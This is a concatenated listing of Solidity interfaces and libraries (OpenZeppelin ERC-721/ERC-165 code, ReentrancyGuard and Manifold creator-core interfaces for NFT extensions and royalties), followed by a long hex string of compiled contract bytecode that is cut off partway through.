* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Core creator interface
*/
interface ICreatorCore is IERC165 {
event ExtensionRegistered(address indexed extension, address indexed sender);
event ExtensionUnregistered(address indexed extension, address indexed sender);
event ExtensionBlacklisted(address indexed extension, address indexed sender);
event MintPermissionsUpdated(address indexed extension, address indexed permissions, address indexed sender);
event RoyaltiesUpdated(uint256 indexed tokenId, address payable[] receivers, uint256[] basisPoints);
event DefaultRoyaltiesUpdated(address payable[] receivers, uint256[] basisPoints);
event ExtensionRoyaltiesUpdated(address indexed extension, address payable[] receivers, uint256[] basisPoints);
event ExtensionApproveTransferUpdated(address indexed extension, bool enabled);
/**
* @dev gets address of all extensions
*/
function getExtensions() external view returns (address[] memory);
/**
* @dev add an extension. Can only be called by contract owner or admin.
* extension address must point to a contract implementing ICreatorExtension.
* Returns True if newly added, False if already added.
*/
function registerExtension(address extension, string calldata baseURI) external;
/**
* @dev add an extension. Can only be called by contract owner or admin.
* extension address must point to a contract implementing ICreatorExtension.
* Returns True if newly added, False if already added.
*/
function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external;
/**
* @dev add an extension. Can only be called by contract owner or admin.
* Returns True if removed, False if already removed.
*/
function unregisterExtension(address extension) external;
/**
* @dev blacklist an extension. Can only be called by contract owner or admin.
* This function will destroy all ability to reference the metadata of any tokens created
* by the specified extension. It will also unregister the extension if needed.
* Returns True if removed, False if already removed.
*/
function blacklistExtension(address extension) external;
/**
* @dev set the baseTokenURI of an extension. Can only be called by extension.
*/
function setBaseTokenURIExtension(string calldata uri) external;
/**
* @dev set the baseTokenURI of an extension. Can only be called by extension.
* For tokens with no uri configured, tokenURI will return "uri+tokenId"
*/
function setBaseTokenURIExtension(string calldata uri, bool identical) external;
/**
* @dev set the common prefix of an extension. Can only be called by extension.
* If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI"
* Useful if you want to use ipfs/arweave
*/
function setTokenURIPrefixExtension(string calldata prefix) external;
/**
* @dev set the tokenURI of a token extension. Can only be called by extension that minted token.
*/
function setTokenURIExtension(uint256 tokenId, string calldata uri) external;
/**
* @dev set the tokenURI of a token extension for multiple tokens. Can only be called by extension that minted token.
*/
function setTokenURIExtension(uint256[] memory tokenId, string[] calldata uri) external;
/**
* @dev set the baseTokenURI for tokens with no extension. Can only be called by owner/admin.
* For tokens with no uri configured, tokenURI will return "uri+tokenId"
*/
function setBaseTokenURI(string calldata uri) external;
/**
* @dev set the common prefix for tokens with no extension. Can only be called by owner/admin.
* If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI"
* Useful if you want to use ipfs/arweave
*/
function setTokenURIPrefix(string calldata prefix) external;
/**
* @dev set the tokenURI of a token with no extension. Can only be called by owner/admin.
*/
function setTokenURI(uint256 tokenId, string calldata uri) external;
/**
* @dev set the tokenURI of multiple tokens with no extension. Can only be called by owner/admin.
*/
function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external;
/**
* @dev set a permissions contract for an extension. Used to control minting.
*/
function setMintPermissions(address extension, address permissions) external;
/**
* @dev Configure so transfers of tokens created by the caller (must be extension) gets approval
* from the extension before transferring
*/
function setApproveTransferExtension(bool enabled) external;
/**
* @dev get the extension of a given token
*/
function tokenExtension(uint256 tokenId) external view returns (address);
/**
* @dev Set default royalties
*/
function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external;
/**
* @dev Set royalties of a token
*/
function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external;
/**
* @dev Set royalties of an extension
*/
function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external;
/**
* @dev Get royalites of a token. Returns list of receivers and basisPoints
*/
function getRoyalties(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory);
// Royalty support for various other standards
function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory);
function getFeeBps(uint256 tokenId) external view returns (uint[] memory);
function getFees(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory);
function royaltyInfo(uint256 tokenId, uint256 value, bytes calldata data) external view returns (address, uint256, bytes memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Implement this if you want your extension to have overloadable URI's
*/
interface ICreatorExtensionTokenURI is IERC165 {
/**
* Get the uri for a given creator/tokenId
*/
function tokenURI(address creator, uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return
_supportsERC165Interface(account, type(IERC165).interfaceId) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) && _supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns a boolean array where each value corresponds to the
* interfaces passed in and whether they're supported or not. This allows
* you to batch check interfaces for a contract where your expectation
* is that some interfaces may not be supported.
*
* See {IERC165-supportsInterface}.
*
* _Available since v3.4._
*/
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)
internal
view
returns (bool[] memory)
{
// an array of booleans corresponding to interfaceIds and whether they're supported or not
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
// query support of ERC165 itself
if (supportsERC165(account)) {
// query support of each interface in interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
bytes memory encodedParams = abi.encodeWithSelector(IERC165(account).supportsInterface.selector, interfaceId);
(bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams);
if (result.length < 32) return false;
return success && abi.decode(result, (bool));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
| 0x608060405234801561001057600080fd5b50600436106103425760003560e01c8063715018a6116101b8578063b0fe87c911610104578063d5a06d4c116100a2578063e985e9c51161007c578063e985e9c51461073f578063f0cdc49914610752578063f2fde38b14610765578063fe2e1f581461077857600080fd5b8063d5a06d4c146106b0578063e00aab4b14610719578063e92a89f61461072c57600080fd5b8063bb3bafd6116100de578063bb3bafd6146106b0578063c155531d146106d1578063c87b56dd146106f3578063ce8aee9d1461070657600080fd5b8063b0fe87c91461066a578063b88d4fde1461067d578063b9c4d9fb1461069057600080fd5b80638da5cb5b11610171578063a22cb4651161014b578063a22cb4651461061e578063aafb2d4414610631578063ac0c8cfa14610644578063ad2d0ddd1461065757600080fd5b80638da5cb5b146105f257806395d89b411461060357806399e0dd7c1461060b57600080fd5b8063715018a61461059657806372ff03d31461059e5780637884af44146105b15780637aa15f16146105c457806382dcc0c8146105d757806383b7db63146105ea57600080fd5b806330176e131161029257806342842e0e116102305780636352211e1161020a5780636352211e1461054a57806366d1e9d01461055d5780636d73e6691461057057806370a082311461058357600080fd5b806342842e0e1461051157806342966c681461052457806361e5bc6b1461053757600080fd5b8063332dd1ae1161026c578063332dd1ae146104c557806338e52e78146104d85780633e6134b8146104eb5780633f0f37f6146104fe57600080fd5b806330176e131461048a5780633071a0f91461049d57806331ae450b146104b057600080fd5b8063162094c4116102ff57806323b872dd116102d957806323b872dd1461043057806324d7806c146104435780632928ca58146104565780632d3456701461047757600080fd5b8063162094c4146103f757806320e4afe21461040a578063239be3171461041d57600080fd5b806301ffc9a71461034757806302e7afb71461036f57806306fdde0314610384578063081812fc14610399578063095ea7b3146103c45780630ebd4c7f146103d7575b600080fd5b61035a6103553660046146e4565b61078b565b60405190151581526020015b60405180910390f35b61038261037d366004614244565b6107ba565b005b61038c610819565b6040516103669190614bde565b6103ac6103a7366004614821565b6108ab565b6040516001600160a01b039091168152602001610366565b6103826103d2366004614559565b610933565b6103ea6103e5366004614821565b610a49565b6040516103669190614bcb565b61038261040536600461486d565b610acf565b610382610418366004614839565b610b24565b6103ac61042b366004614821565b610ba7565b61038261043e366004614298565b610bd7565b61035a610451366004614244565b610c08565b610469610464366004614244565b610c41565b604051908152602001610366565b610382610485366004614244565b610cb5565b61038261049836600461471c565b610d34565b6103826104ab36600461447c565b610dbd565b6104b8610e43565b6040516103669190614ac7565b6103826104d3366004614584565b610f0d565b6103ea6104e63660046143fd565b610f64565b6103826104f936600461471c565b6110cb565b61038261050c3660046144c1565b6110fe565b61038261051f366004614298565b61117d565b610382610532366004614821565b611198565b6103826105453660046145ec565b61123e565b6103ac610558366004614821565b611305565b61038261056b36600461471c565b61137c565b61038261057e366004614244565b6113ad565b610469610591366004614244565b611427565b6103826114ae565b6104696105ac366004614244565b6114e4565b6104696105bf36600461447c565b611571565b6103ea6105d23660046143fd565b611631565b6103826105e536600461475b565b6117af565b6104b86117e1565b6000546001600160a01b03166103ac565b61038c6118a7565b61038261061936600461471c565b6118b6565b61038261062c36600461444f565b61190a565b61038261063f3660046145ec565b6119cf565b6103826106523660046146ac565b611ab9565b6103ea610665366004614526565b611bdd565b61038261067836600461437e565b611d1f565b61038261068b3660046142d8565b611d76565b6106a361069e366004614821565b611da8565b6040516103669190614b93565b6106c36106be366004614821565b611e37565b604051610366929190614ba6565b6106e46106df36600461489d565b611f1b565b60405161036693929190614aa0565b61038c610701366004614821565b611f5f565b610382610714366004614244565b611f8f565b6103ea610727366004614526565b611fe2565b61038261073a36600461486d565b6120f6565b61035a61074d366004614260565b612128565b610382610760366004614260565b612156565b610382610773366004614244565b6121aa565b61046961078636600461447c565b612242565b6000610796826122d3565b806107a557506107a5826122f8565b806107b457506107b482612333565b92915050565b336107cd6000546001600160a01b031690565b6001600160a01b031614806107e857506107e8600233612368565b61080d5760405162461bcd60e51b815260040161080490614d81565b60405180910390fd5b6108168161238d565b50565b60606004805461082890614f25565b80601f016020809104026020016040519081016040528092919081815260200182805461085490614f25565b80156108a15780601f10610876576101008083540402835291602001916108a1565b820191906000526020600020905b81548152906001019060200180831161088457829003601f168201915b5050505050905090565b60006108b682612489565b6109175760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610804565b506000908152600860205260409020546001600160a01b031690565b600061093e82611305565b9050806001600160a01b0316836001600160a01b031614156109ac5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610804565b336001600160a01b03821614806109c857506109c88133612128565b610a3a5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610804565b610a4483836124a6565b505050565b6060610a5482612489565b610a705760405162461bcd60e51b815260040161080490614ca9565b610a7982612514565b805480602002602001604051908101604052809291908181526020018280548015610ac357602002820191906000526020600020905b815481526020019060010190808311610aaf575b50505050509050919050565b33610ae26000546001600160a01b031690565b6001600160a01b03161480610afd5750610afd600233612368565b610b195760405162461bcd60e51b815260040161080490614d81565b610a448383836125a0565b33610b376000546001600160a01b031690565b6001600160a01b03161480610b525750610b52600233612368565b610b6e5760405162461bcd60e51b815260040161080490614d81565b610b7785612489565b610b935760405162461bcd60e51b815260040161080490614ca9565b610ba0858585858561260f565b5050505050565b6000610bb282612489565b610bce5760405162461bcd60e51b815260040161080490614ca9565b6107b482612746565b610be133826127d4565b610bfd5760405162461bcd60e51b815260040161080490614d30565b610a4483838361289e565b6000816001600160a01b0316610c266000546001600160a01b031690565b6001600160a01b031614806107b457506107b4600283612368565b600060026001541415610c665760405162461bcd60e51b815260040161080490614dc5565b6002600155610c76600b33612368565b610c925760405162461bcd60e51b815260040161080490614c72565b610cab8260405180602001604052806000815250612a49565b6001805592915050565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b815260040161080490614cd4565b610cea600282612368565b156108165760405133906001600160a01b038316907f7c0c3c84c67c85fcac635147348bfe374c24a1a93d0366d1cfe9d8853cbf89d590600090a3610d30600282612ac3565b5050565b33610d476000546001600160a01b031690565b6001600160a01b03161480610d625750610d62600233612368565b610d7e5760405162461bcd60e51b815260040161080490614d81565b610d3082828080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250612ad892505050565b33610dd06000546001600160a01b031690565b6001600160a01b03161480610deb5750610deb600233612368565b610e075760405162461bcd60e51b815260040161080490614d81565b82610e13600d82612368565b15610e305760405162461bcd60e51b815260040161080490614c43565b610e3d8484846000612af8565b50505050565b6060610e4f6002612c33565b6001600160401b03811115610e7457634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610e9d578160200160208202803683370190505b50905060005b610ead6002612c33565b811015610f0957610ebf600282612c3d565b828281518110610edf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039092166020928302919091019091015280610f0181614f7c565b915050610ea3565b5090565b33610f206000546001600160a01b031690565b6001600160a01b03161480610f3b5750610f3b600233612368565b610f575760405162461bcd60e51b815260040161080490614d81565b610e3d3085858585612c49565b606060026001541415610f895760405162461bcd60e51b815260040161080490614dc5565b6002600155610f99600b33612368565b610fb55760405162461bcd60e51b815260040161080490614c72565b816001600160401b03811115610fdb57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611004578160200160208202803683370190505b50905060005b828110156110bf576110828585858481811061103657634e487b7160e01b600052603260045260246000fd5b90506020028101906110489190614dfc565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250612a4992505050565b8282815181106110a257634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806110b781614f7c565b91505061100a565b50600180559392505050565b6110d6600b33612368565b6110f25760405162461bcd60e51b815260040161080490614c72565b610d3082826000612de8565b336111116000546001600160a01b031690565b6001600160a01b0316148061112c575061112c600233612368565b6111485760405162461bcd60e51b815260040161080490614d81565b83611154600d82612368565b156111715760405162461bcd60e51b815260040161080490614c43565b610ba085858585612af8565b610a4483838360405180602001604052806000815250611d76565b600260015414156111bb5760405162461bcd60e51b815260040161080490614dc5565b60026001556111ca33826127d4565b6112165760405162461bcd60e51b815260206004820181905260248201527f43616c6c6572206973206e6f74206f776e6572206e6f7220617070726f7665646044820152606401610804565b600061122182611305565b905061122c82612e25565b6112368183612ecc565b505060018055565b611249600b33612368565b6112655760405162461bcd60e51b815260040161080490614c72565b825181146112855760405162461bcd60e51b815260040161080490614d09565b60005b8351811015610e3d576112f38482815181106112b457634e487b7160e01b600052603260045260246000fd5b60200260200101518484848181106112dc57634e487b7160e01b600052603260045260246000fd5b90506020028101906112ee9190614dfc565b612fe2565b806112fd81614f7c565b915050611288565b6000818152600660205260408120546001600160a01b0316806107b45760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610804565b611387600b33612368565b6113a35760405162461bcd60e51b815260040161080490614c72565b610d308282613038565b6000546001600160a01b031633146113d75760405162461bcd60e51b815260040161080490614cd4565b6113e2600282612368565b6108165760405133906001600160a01b038316907f7e1a1a08d52e4ba0e21554733d66165fd5151f99460116223d9e3a608eec5cb190600090a3610d30600282613052565b60006001600160a01b0382166114925760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610804565b506001600160a01b031660009081526007602052604090205490565b6000546001600160a01b031633146114d85760405162461bcd60e51b815260040161080490614cd4565b6114e26000613067565b565b6000600260015414156115095760405162461bcd60e51b815260040161080490614dc5565b6002600155336115216000546001600160a01b031690565b6001600160a01b0316148061153c575061153c600233612368565b6115585760405162461bcd60e51b815260040161080490614d81565b610cab82604051806020016040528060008152506130b7565b6000600260015414156115965760405162461bcd60e51b815260040161080490614dc5565b6002600155336115ae6000546001600160a01b031690565b6001600160a01b031614806115c957506115c9600233612368565b6115e55760405162461bcd60e51b815260040161080490614d81565b6116258484848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506130b792505050565b60018055949350505050565b6060600260015414156116565760405162461bcd60e51b815260040161080490614dc5565b60026001553361166e6000546001600160a01b031690565b6001600160a01b031614806116895750611689600233612368565b6116a55760405162461bcd60e51b815260040161080490614d81565b816001600160401b038111156116cb57634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156116f4578160200160208202803683370190505b50905060005b828110156110bf576117728585858481811061172657634e487b7160e01b600052603260045260246000fd5b90506020028101906117389190614dfc565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506130b792505050565b82828151811061179257634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806117a781614f7c565b9150506116fa565b6117ba600b33612368565b6117d65760405162461bcd60e51b815260040161080490614c72565b610a44838383612de8565b60606117ed600b612c33565b6001600160401b0381111561181257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561183b578160200160208202803683370190505b50905060005b61184b600b612c33565b811015610f095761185d600b82612c3d565b82828151811061187d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03909216602092830291909101909101528061189f81614f7c565b915050611841565b60606005805461082890614f25565b336118c96000546001600160a01b031690565b6001600160a01b031614806118e457506118e4600233612368565